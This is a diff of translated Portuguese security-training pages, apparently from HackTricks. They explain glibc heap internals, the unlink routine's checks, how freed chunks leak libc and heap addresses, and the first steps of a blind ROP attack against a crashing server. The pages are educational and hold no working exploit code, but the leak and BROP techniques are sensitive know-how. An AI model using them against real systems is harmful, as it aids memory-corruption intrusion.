Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

binary-exploitation/libc-heap/README.md

@@ -1,56 +1,56 @@
-# Heap
+# Libc Heap
 
-## Conceitos Básicos do Heap
+## Heap Basics
 
-O heap é basicamente o local onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é liberada chamando a função **`free`**.
+O heap é basicamente o lugar onde um programa poderá armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
 
-Como mostrado, o heap está logo após onde o binário está sendo carregado na memória (verifique a seção `[heap]`):
+Como mostrado, está logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`):
 
 <figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
 
-### Alocação Básica de Chunks
+### Basic Chunk Allocation
 
-Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Este espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar apenas a quantidade mínima de memória possível sem tornar complicado encontrar onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está.
+Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está.
 
-Existem diferentes maneiras de reservar o espaço, principalmente dependendo do bin usado, mas uma metodologia geral é a seguinte:
+Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte:
 
 * O programa começa solicitando uma certa quantidade de memória.
 * Se na lista de chunks houver alguém disponível grande o suficiente para atender à solicitação, ele será usado.
 * Isso pode até significar que parte do chunk disponível será usada para essa solicitação e o restante será adicionado à lista de chunks.
-* Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória alocada do heap, o gerenciador de heap cria um novo chunk.
-* Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, use essa memória para gerar o novo chunk.
-* Se tudo falhar, o `malloc` retorna nulo.
+* Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória heap alocada, o gerenciador de heap cria um novo chunk.
+* Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk.
+* Se tudo falhar, `malloc` retorna nulo.
 
-Observe que se a memória solicitada **ultrapassar um limite**, o **`mmap`** será usado para mapear a memória solicitada.
+Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será usado para mapear a memória solicitada.
 
 ## Arenas
 
-Em aplicações **multithreaded**, o gerenciador de heap deve evitar **concorrências** que possam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas uma thread pudesse acessar o heap de cada vez, mas isso causava **problemas de desempenho** devido ao gargalo induzido pelo mutex.
+Em aplicações **multithreaded**, o gerenciador de heap deve prevenir **condições de corrida** que poderiam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas um thread pudesse acessar o heap por vez, mas isso causou **problemas de desempenho** devido ao gargalo induzido pelo mutex.
 
-Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** age como um **heap separado** com suas **próprias** estruturas de dados e **mutex**, permitindo que várias threads realizem operações de heap sem interferir umas com as outras, desde que usem arenas diferentes.
+Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações de heap sem interferir uns nos outros, desde que usem arenas diferentes.
 
-A arena "principal" padrão lida com operações de heap para aplicativos de thread única. Quando **novas threads** são adicionadas, o gerenciador de heap as atribui a **arenas secundárias** para reduzir a contenção. Ele primeiro tenta anexar cada nova thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é atingido, as **threads devem compartilhar arenas**, levando a uma potencial contenção.
+A arena "principal" padrão lida com operações de heap para aplicações de thread único. Quando **novos threads** são adicionados, o gerenciador de heap os atribui a **arenas secundárias** para reduzir a contenção. Ele tenta primeiro anexar cada novo thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é alcançado, **os threads devem compartilhar arenas**, levando a uma potencial contenção.
 
-Ao contrário da arena principal, que se expande usando a chamada de sistema `brk`, as arenas secundárias criam "subheaps" usando `mmap` e `mprotect` para simular o comportamento do heap, permitindo flexibilidade na gestão de memória para operações multithread.
+Diferente da arena principal, que se expande usando a chamada de sistema `brk`, as arenas secundárias criam "subheaps" usando `mmap` e `mprotect` para simular o comportamento do heap, permitindo flexibilidade na gestão de memória para operações multithreaded.
 
 ### Subheaps
 
-Os subheaps servem como reservas de memória para arenas secundárias em aplicações multithread, permitindo que cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Veja como os subheaps diferem do heap inicial e como operam:
+Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Aqui está como os subheaps diferem do heap inicial e como operam:
 
 1. **Heap Inicial vs. Subheaps**:
-* O heap inicial está localizado diretamente após o binário do programa na memória, e ele se expande usando a chamada de sistema `sbrk`.
-* Os subheaps, usados pelas arenas secundárias, são criados por meio de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
+* O heap inicial está localizado diretamente após o binário do programa na memória, e se expande usando a chamada de sistema `sbrk`.
+* Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
 2. **Reserva de Memória com `mmap`**:
-* Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória por meio de `mmap`. Essa reserva não aloca memória imediatamente; simplesmente designa uma região que outros processos do sistema ou alocações não devem usar.
+* Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; simplesmente designa uma região que outros processos ou alocações do sistema não devem usar.
 * Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits.
 3. **Expansão Gradual com `mprotect`**:
-* A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para este espaço ainda.
-* Para "expandir" o subheap, o gerenciador de heap usa `mprotect` para alterar as permissões da página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel alocar memória física para os endereços previamente reservados. Esse abordagem passo a passo permite que o subheap se expanda conforme necessário.
-* Uma vez que todo o subheap esteja esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
+* A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda.
+* Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário.
+* Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
 
-### heap_info <a href="#heap_info" id="heap_info"></a>
+### heap\_info <a href="#heap_info" id="heap_info"></a>
 
-Esta estrutura aloca informações relevantes do heap. Além disso, a memória do heap pode não ser contínua após mais alocações, essa estrutura também armazenará essa informação.
+Esta struct aloca informações relevantes do heap. Além disso, a memória do heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
 
@@ -72,11 +72,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
 
 **Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
 É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
-No caso das **estruturas `malloc_state`** das heaps das threads, elas estão localizadas **dentro do próprio "heap" da thread**.
+No caso das **estruturas `malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
 
-Há algumas coisas interessantes a serem observadas nesta estrutura (veja o código em C abaixo):
+Há algumas coisas interessantes a notar a partir desta estrutura (veja o código C abaixo):
 
-* `__libc_lock_define (, mutex);` está presente para garantir que esta estrutura do heap seja acessada por 1 thread de cada vez
+* `__libc_lock_define (, mutex);` Está lá para garantir que esta estrutura do heap seja acessada por 1 thread de cada vez
 * Flags:
 * ```c
 #define NONCONTIGUOUS_BIT     (2U)
@@ -87,10 +87,10 @@ Há algumas coisas interessantes a serem observadas nesta estrutura (veja o cód
 #define set_contiguous(M)      ((M)->flags &= ~NONCONTIGUOUS_BIT)
 ```
 * O `mchunkptr bins[NBINS * 2 - 2];` contém **ponteiros** para os **primeiros e últimos chunks** dos **bins** pequenos, grandes e não ordenados (o -2 é porque o índice 0 não é usado)
-* Portanto, o **primeiro chunk** desses bins terá um **ponteiro reverso para esta estrutura** e o **último chunk** desses bins terá um **ponteiro para frente** para esta estrutura. O que basicamente significa que se você puder **vazar** esses endereços na arena principal, você terá um ponteiro para a estrutura na **libc**.
+* Portanto, o **primeiro chunk** desses bins terá um **ponteiro reverso para esta estrutura** e o **último chunk** desses bins terá um **ponteiro para frente** para esta estrutura. O que basicamente significa que se você puder **vazar esses endereços na arena principal**, você terá um ponteiro para a estrutura na **libc**.
 * As structs `struct malloc_state *next;` e `struct malloc_state *next_free;` são listas encadeadas de arenas
-* O chunk `top` é o último "chunk", que basicamente é **todo o espaço restante do heap**. Uma vez que o chunk top está "vazio", o heap está completamente utilizado e precisa solicitar mais espaço.
-* O chunk `last reminder` vem de casos em que um chunk de tamanho exato não está disponível e, portanto, um chunk maior é dividido, uma parte restante do ponteiro é colocada aqui.
+* O chunk `top` é o último "chunk", que é basicamente **todo o espaço restante do heap**. Uma vez que o chunk top está "vazio", o heap está completamente utilizado e precisa solicitar mais espaço.
+* O chunk `last reminder` vem de casos onde um chunk de tamanho exato não está disponível e, portanto, um chunk maior é dividido, uma parte do ponteiro restante é colocada aqui.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
 
@@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
 ```
 ### malloc\_chunk
 
-Esta estrutura representa um pedaço particular de memória. Os vários campos têm significados diferentes para pedaços alocados e não alocados.
+Esta estrutura representa um determinado bloco de memória. Os vários campos têm significados diferentes para blocos alocados e não alocados.
 ```c
 // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 struct malloc_chunk {
@@ -155,34 +155,34 @@ struct malloc_chunk* bk_nextsize;
 
 typedef struct malloc_chunk* mchunkptr;
 ```
-Como comentado anteriormente, esses pedaços também possuem metadados, muito bem representados nesta imagem:
+Como comentado anteriormente, esses chunks também possuem alguns metadados, muito bem representados nesta imagem:
 
 <figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
-Os metadados geralmente são 0x08B, indicando o tamanho atual do pedaço, usando os últimos 3 bits para indicar:
+Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk, usando os últimos 3 bits para indicar:
 
-* `A`: Se 1, vem de um subheap, se 0, está na arena principal
-* `M`: Se 1, este pedaço faz parte de um espaço alocado com mmap e não faz parte de um heap
-* `P`: Se 1, o pedaço anterior está em uso
+* `A`: Se 1, vem de um subheap; se 0, está na arena principal
+* `M`: Se 1, este chunk é parte de um espaço alocado com mmap e não parte de um heap
+* `P`: Se 1, o chunk anterior está em uso
 
-Em seguida, o espaço para os dados do usuário e, finalmente, 0x08B para indicar o tamanho do pedaço anterior quando o pedaço está disponível (ou para armazenar os dados do usuário quando está alocado).
+Então, o espaço para os dados do usuário, e finalmente 0x08B para indicar o tamanho do chunk anterior quando o chunk está disponível (ou para armazenar dados do usuário quando está alocado).
 
-Além disso, quando disponível, os dados do usuário são usados para conter também alguns dados:
+Além disso, quando disponível, os dados do usuário também são usados para conter alguns dados:
 
-* **`fd`**: Ponteiro para o próximo pedaço
-* **`bk`**: Ponteiro para o pedaço anterior
-* **`fd_nextsize`**: Ponteiro para o primeiro pedaço na lista que é menor que ele mesmo
-* **`bk_nextsize`:** Ponteiro para o primeiro pedaço na lista que é maior que ele mesmo
+* **`fd`**: Ponteiro para o próximo chunk
+* **`bk`**: Ponteiro para o chunk anterior
+* **`fd_nextsize`**: Ponteiro para o primeiro chunk na lista que é menor que ele mesmo
+* **`bk_nextsize`:** Ponteiro para o primeiro chunk na lista que é maior que ele mesmo
 
 <figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
 {% hint style="info" %}
-Observe como organizar a lista dessa maneira evita a necessidade de ter um array onde cada pedaço é registrado individualmente.
+Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado.
 {% endhint %}
 
-### Ponteiros de Pedaços
+### Ponteiros de Chunk
 
-Quando malloc é usado, um ponteiro para o conteúdo que pode ser escrito é retornado (logo após os cabeçalhos), no entanto, ao gerenciar pedaços, é necessário um ponteiro para o início dos cabeçalhos (metadados).\
+Quando malloc é usado, um ponteiro para o conteúdo que pode ser escrito é retornado (logo após os cabeçalhos), no entanto, ao gerenciar chunks, é necessário um ponteiro para o início dos cabeçalhos (metadados).\
 Para essas conversões, essas funções são usadas:
 ```c
 // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -203,7 +203,7 @@ Para essas conversões, essas funções são usadas:
 ```
 ### Alinhamento e tamanho mínimo
 
-O ponteiro para o bloco e `0x0f` devem ser 0.
+O ponteiro para o chunk e `0x0f` devem ser 0.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@@ -258,11 +258,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
 return request2size (req);
 }
 ```
-Observe que, para calcular o espaço total necessário, apenas é adicionado `SIZE_SZ` 1 vez, pois o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
+Note que para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
 
 ### Obter dados do Chunk e alterar metadados
 
-Essas funções funcionam recebendo um ponteiro para um chunk e são úteis para verificar/configurar metadados:
+Essas funções funcionam recebendo um ponteiro para um chunk e são úteis para verificar/definir metadados:
 
 * Verificar flags do chunk
 ```c
@@ -294,7 +294,7 @@ the chunk to the user, if necessary.  */
 /* Mark a chunk as not being on the main arena.  */
 #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
 ```
-* Tamanhos e ponteiros para outros blocos
+* Tamanhos e ponteiros para outros pedaços
 ```c
 /*
 Bits to mask off when extracting size
@@ -327,7 +327,7 @@ people extending or adapting this malloc.
 /* Treat space at ptr + offset as a chunk */
 #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
 ```
-* Inserir bit
+* Insue bit
 ```c
 /* extract p's inuse bit */
 #define inuse(p)							      \
@@ -351,7 +351,7 @@ people extending or adapting this malloc.
 #define clear_inuse_bit_at_offset(p, s)					      \
 (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
 ```
-* Defina o cabeçalho e rodapé (quando os números de chunk estão em uso)
+* Defina o cabeçalho e o rodapé (quando os números de chunk estão em uso)
 ```c
 /* Set size at head, without disturbing its use bit */
 #define set_head_size(p, s)  ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -362,7 +362,7 @@ people extending or adapting this malloc.
 /* Set size at footer (only when chunk is not in use) */
 #define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
 ```
-* Obtenha o tamanho dos dados reais utilizáveis dentro do chunk
+* Obtenha o tamanho dos dados utilizáveis reais dentro do chunk
 ```c
 #pragma GCC poison mchunk_size
 #pragma GCC poison mchunk_prev_size
@@ -408,13 +408,13 @@ ptr = malloc(0x10);
 strcpy(ptr, "panda");
 }
 ```
-Defina um ponto de interrupção no final da função principal e vamos descobrir onde as informações foram armazenadas:
+Defina um ponto de interrupção no final da função principal e vamos descobrir onde a informação foi armazenada:
 
 <figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
 
-É possível ver que a string panda foi armazenada em `0xaaaaaaac12a0` (que foi o endereço fornecido como resposta pelo malloc dentro de `x0`). Verificando 0x10 bytes antes, é possível ver que o `0x0` representa que o **chunk anterior não está em uso** (comprimento 0) e que o comprimento deste chunk é `0x21`.
+É possível ver que a string panda foi armazenada em `0xaaaaaaac12a0` (que foi o endereço dado como resposta pelo malloc dentro de `x0`). Verificando 0x10 bytes antes, é possível ver que o `0x0` representa que o **chunk anterior não está em uso** (comprimento 0) e que o comprimento deste chunk é `0x21`.
 
-Os espaços extras reservados (0x21-0x10=0x11) vêm dos **headers adicionados** (0x10) e 0x1 não significa que foi reservado 0x21B, mas os últimos 3 bits do comprimento do cabeçalho atual têm alguns significados especiais. Como o comprimento é sempre alinhado em múltiplos de 16 bytes (em máquinas de 64 bits), esses bits na verdade nunca serão usados pelo número de comprimento.
+Os espaços extras reservados (0x21-0x10=0x11) vêm dos **cabeçalhos adicionados** (0x10) e 0x1 não significa que foi reservado 0x21B, mas os últimos 3 bits do comprimento do cabeçalho atual têm alguns significados especiais. Como o comprimento é sempre alinhado a 16 bytes (em máquinas de 64 bits), esses bits na verdade nunca serão usados pelo número de comprimento.
 ```
 0x1:     Previous in Use     - Specifies that the chunk before it in memory is in use
 0x2:     Is MMAPPED          - Specifies that the chunk was obtained with mmap()
@@ -468,21 +468,21 @@ return 0;
 ```
 </details>
 
-Depurando o exemplo anterior é possível ver como no início há apenas 1 arena:
-
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
-
-Em seguida, após chamar a primeira thread, aquela que chama malloc, uma nova arena é criada:
+Depurando o exemplo anterior, é possível ver como no início há apenas 1 arena:
 
 <figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
+Então, após chamar o primeiro thread, aquele que chama malloc, uma nova arena é criada:
+
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+
 e dentro dela alguns chunks podem ser encontrados:
 
-<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
-## Bins e Alocações/Liberações de Memória
+## Bins & Alocações/Liberções de Memória
 
-Verifique quais são os bins e como eles estão organizados e como a memória é alocada e liberada em:
+Verifique quais são os bins e como estão organizados e como a memória é alocada e liberada em:
 
 {% content-ref url="bins-and-memory-allocations.md" %}
 [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
@@ -490,7 +490,7 @@ Verifique quais são os bins e como eles estão organizados e como a memória é
 
 ## Verificações de Segurança das Funções de Heap
 
-As funções envolvidas no heap realizarão determinadas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido:
+As funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido:
 
 {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
 [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)

binary-exploitation/libc-heap/heap-memory-functions/unlink.md

@@ -1,16 +1,16 @@
 # unlink
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Suporte ao HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
 
 </details>
 {% endhint %}
@@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
 ```
 ### Explicação Gráfica
 
-Confira esta ótima explicação gráfica do processo de unlink:
+Confira esta ótima explicação gráfica do processo unlink:
 
-<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
 
 ### Verificações de Segurança
 
-* Verificar se o tamanho indicado do chunk é o mesmo que o prev_size indicado no próximo chunk
-* Verificar também se `P->fd->bk == P` e `P->bk->fw == P`
-* Se o chunk não for pequeno, verificar se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
+* Verifique se o tamanho indicado do chunk é o mesmo que o prev\_size indicado no próximo chunk
+* Verifique também se `P->fd->bk == P` e `P->bk->fw == P`
+* Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
 
 ### Vazamentos
 
-Um chunk desvinculado não limpa os endereços alocados, então, tendo acesso a ele, é possível vazar alguns endereços interessantes:
+Um chunk não vinculado não limpa os endereços alocados, então tendo acesso a ele, é possível vazar alguns endereços interessantes:
 
-Vazamentos do Libc:
+Vazamentos de Libc:
 
-* Se P estiver localizado no início da lista duplamente encadeada, `bk` apontará para `malloc_state` no libc
-* Se P estiver localizado no final da lista duplamente encadeada, `fd` apontará para `malloc_state` no libc
+* Se P estiver localizado na cabeça da lista duplamente encadeada, `bk` estará apontando para `malloc_state` na libc
+* Se P estiver localizado no final da lista duplamente encadeada, `fd` estará apontando para `malloc_state` na libc
 * Quando a lista duplamente encadeada contém apenas um chunk livre, P está na lista duplamente encadeada, e tanto `fd` quanto `bk` podem vazar o endereço dentro de `malloc_state`.
 
-Vazamentos do Heap:
+Vazamentos de Heap:
 
-* Se P estiver localizado no início da lista duplamente encadeada, `fd` apontará para um chunk disponível no heap
-* Se P estiver localizado no final da lista duplamente encadeada, `bk` apontará para um chunk disponível no heap
-* Se P estiver na lista duplamente encadeada, tanto `fd` quanto `bk` apontarão para um chunk disponível no heap
+* Se P estiver localizado na cabeça da lista duplamente encadeada, `fd` estará apontando para um chunk disponível no heap
+* Se P estiver localizado no final da lista duplamente encadeada, `bk` estará apontando para um chunk disponível no heap
+* Se P estiver na lista duplamente encadeada, tanto `fd` quanto `bk` estarão apontando para um chunk disponível no heap
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md

@@ -1,111 +1,112 @@
-# BROP - Programação Orientada a Retorno Cega
+# BROP - Blind Return Oriented Programming
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Suporte ao HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 {% endhint %}
 
 ## Informações Básicas
 
-O objetivo deste ataque é ser capaz de **abusar de um ROP por meio de um estouro de buffer sem nenhuma informação sobre o binário vulnerável**.\
+O objetivo deste ataque é ser capaz de **abusar de um ROP via um buffer overflow sem qualquer informação sobre o binário vulnerável**.\
 Este ataque é baseado no seguinte cenário:
 
-* Uma vulnerabilidade de pilha e conhecimento de como ativá-la.
+* Uma vulnerabilidade na pilha e conhecimento de como acioná-la.
 * Uma aplicação de servidor que reinicia após uma falha.
 
 ## Ataque
 
-### **1. Encontrar o deslocamento vulnerável** enviando um caractere a mais até que uma falha no servidor seja detectada
+### **1. Encontrar o offset vulnerável** enviando um caractere a mais até que uma falha do servidor seja detectada
 
-### **2. Forçar o canário** para vazá-lo
+### **2. Brute-force canário** para vazá-lo
